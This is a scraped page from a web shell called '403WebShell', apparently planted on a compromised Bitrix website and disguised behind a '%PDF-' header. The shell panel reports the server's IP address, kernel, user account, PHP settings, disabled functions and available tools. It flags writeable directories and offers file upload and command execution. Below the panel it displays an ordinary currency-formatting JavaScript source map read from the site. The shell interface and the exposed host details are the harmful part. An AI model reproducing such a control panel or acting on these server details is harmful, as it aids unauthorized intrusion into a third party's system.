%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.22.66.140
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/currency/currency-core/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/currency/currency-core/dist/currency-core.bundle.js.map
{"version":3,"file":"currency-core.bundle.js","sources":["../src/currency-item.js","../src/currency-core.js"],"sourcesContent":["// @flow\nexport class CurrencyItem\n{\n\t#currency = '';\n\t#format = {};\n\n\tconstructor(currency: string, format: {})\n\t{\n\t\tthis.#currency = currency;\n\t\tthis.#format = format;\n\t}\n\n\tgetCurrency(): string\n\t{\n\t\treturn this.#currency;\n\t}\n\n\tgetFormat(): {}\n\t{\n\t\treturn this.#format;\n\t}\n\n\tsetFormat(format: {}): void\n\t{\n\t\tthis.#format = format;\n\t}\n}","// @flow\n\nimport {Reflection, Type} from 'main.core';\nimport {CurrencyItem} from \"./currency-item\";\n\nexport class CurrencyCore\n{\n\tstatic currencies: CurrencyItem[] = [];\n\n\tstatic defaultFormat = {\n\t\t'FORMAT_STRING': '#',\n\t\t'DEC_POINT': '.',\n\t\t'THOUSANDS_SEP': ' ',\n\t\t'DECIMALS': 2,\n\t\t'HIDE_ZERO': 'N'\n\t};\n\n\tstatic getCurrencyList(): CurrencyItem[]\n\t{\n\t\treturn this.currencies;\n\t}\n\n\tstatic setCurrencyFormat(currency: string, format, replace: boolean): void\n\t{\n\t\tif (!Type.isStringFilled(currency) || !Type.isPlainObject(format))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tconst index = this.getCurrencyIndex(currency);\n\n\t\tif (index > -1 && !replace)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tconst innerFormat = {...this.defaultFormat, ...format};\n\n\t\tif (index === -1)\n\t\t{\n\t\t\tthis.currencies.push(new CurrencyItem(currency, innerFormat));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.currencies[index].setFormat(innerFormat);\n\t\t}\n\t}\n\n\tstatic setCurrencies(currencies: [], replace: boolean)\n\t{\n\t\tif (Type.isArray(currencies))\n\t\t{\n\t\t\tfor (let i = 0; i < currencies.length; i++)\n\t\t\t{\n\t\t\t\tif (\n\t\t\t\t\t!Type.isPlainObject(currencies[i])\n\t\t\t\t\t|| !Type.isStringFilled(currencies[i].CURRENCY)\n\t\t\t\t\t|| !Type.isPlainObject(currencies[i].FORMAT)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tthis.setCurrencyFormat(currencies[i].CURRENCY, currencies[i].FORMAT, replace);\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic getCurrencyFormat(currency: string)\n\t{\n\t\tconst index = this.getCurrencyIndex(currency);\n\n\t\treturn (index > -1 ? this.getCurrencyList()[index].getFormat() : false);\n\t}\n\n\tstatic getCurrencyIndex(currency: string): number\n\t{\n\t\tconst currencyList = this.getCurrencyList();\n\n\t\tfor (let i = 0; i < currencyList.length; i++)\n\t\t{\n\t\t\tif (currencyList[i].getCurrency() === currency)\n\t\t\t{\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t}\n\n\tstatic clearCurrency(currency)\n\t{\n\t\tconst index = this.getCurrencyIndex(currency);\n\t\tif (index > -1)\n\t\t{\n\t\t\tthis.currencies = BX.util.deleteFromArray(this.currencies, index);\n\t\t}\n\t}\n\n\tstatic clean()\n\t{\n\t\tthis.currencies = [];\n\t}\n\n\tstatic currencyFormat(price: number, currency: string, useTemplate: boolean)\n\t{\n\t\tlet result = '';\n\n\t\tconst format = this.getCurrencyFormat(currency);\n\t\tif (Type.isObject(format))\n\t\t{\n\t\t\tformat.CURRENT_DECIMALS = format.DECIMALS;\n\n\t\t\tif (format.HIDE_ZERO === 'Y' && price == parseInt(price, 10))\n\t\t\t{\n\t\t\t\tformat.CURRENT_DECIMALS = 0;\n\t\t\t}\n\n\t\t\tresult = BX.util.number_format(price, format.CURRENT_DECIMALS, format.DEC_POINT, format.THOUSANDS_SEP);\n\t\t\tif (useTemplate)\n\t\t\t{\n\t\t\t\tresult = format.FORMAT_STRING.replace(/(^|[^&])#/, '$1' + result);\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tstatic loadCurrencyFormat(currency)\n\t{\n\t\treturn new Promise((resolve, reject) => {\n\t\t\tconst index = this.getCurrencyIndex(currency);\n\t\t\tif (index > -1)\n\t\t\t{\n\t\t\t\tresolve(this.getCurrencyList()[index].getFormat());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tBX.ajax.runAction(\"currency.format.get\", {data: {currencyId: currency}})\n\t\t\t\t\t.then((response) => {\n\t\t\t\t\t\tconst format = response.data;\n\t\t\t\t\t\tthis.setCurrencyFormat(currency, format);\n\t\t\t\t\t\tresolve(format);\n\t\t\t\t\t})\n\t\t\t\t\t.catch((response) => {\n\t\t\t\t\t\treject(response.errors);\n\t\t\t\t\t});\n\t\t\t}\n\t\t})\n\t}\n}\n\n/** @deprecated use import { CurrencyCore } from 'currency.core' */\nReflection.namespace('BX.Currency').Core = CurrencyCore;"],"names":["CurrencyItem","currency","format","CurrencyCore","currencies","replace","Type","isStringFilled","isPlainObject","index","getCurrencyIndex","innerFormat","defaultFormat","push","setFormat","isArray","i","length","CURRENCY","FORMAT","setCurrencyFormat","getCurrencyList","getFormat","currencyList","getCurrency","BX","util","deleteFromArray","price","useTemplate","result","getCurrencyFormat","isObject","CURRENT_DECIMALS","DECIMALS","HIDE_ZERO","parseInt","number_format","DEC_POINT","THOUSANDS_SEP","FORMAT_STRING","Promise","resolve","reject","ajax","runAction","data","currencyId","then","response","catch","errors","Reflection","namespace","Core"],"mappings":";;;;;;;;AACA,KAAaA,YAAb;CAKC,wBAAYC,QAAZ,EAA8BC,MAA9B,EACA;CAAA;;CAAA;CAAA;CAAA,aAJY;CAIZ;;CAAA;CAAA;CAAA,aAHU;CAGV;;CACC,uDAAiBD,QAAjB;CACA,qDAAeC,MAAf;CACA;;CATF;CAAA;CAAA,kCAYC;CACC,+CAAO,IAAP;CACA;CAdF;CAAA;CAAA,gCAiBC;CACC,+CAAO,IAAP;CACA;CAnBF;CAAA;CAAA,8BAqBWA,MArBX,EAsBC;CACC,uDAAeA,MAAf;CACA;CAxBF;CAAA;CAAA;;KCIaC,YAAb;CAAA;CAAA;CAAA;;CAAA;CAAA;CAAA,sCAaC;CACC,aAAO,KAAKC,UAAZ;CACA;CAfF;CAAA;CAAA,sCAiB0BH,QAjB1B,EAiB4CC,MAjB5C,EAiBoDG,OAjBpD,EAkBC;CACC,UAAI,CAACC,cAAI,CAACC,cAAL,CAAoBN,QAApB,CAAD,IAAkC,CAACK,cAAI,CAACE,aAAL,CAAmBN,MAAnB,CAAvC,EACA;CACC;CACA;;CAED,UAAMO,KAAK,GAAG,KAAKC,gBAAL,CAAsBT,QAAtB,CAAd;;CAEA,UAAIQ,KAAK,GAAG,CAAC,CAAT,IAAc,CAACJ,OAAnB,EACA;CACC;CACA;;CAED,UAAMM,WAAW,iCAAO,KAAKC,aAAZ,EAA8BV,MAA9B,CAAjB;;CAEA,UAAIO,K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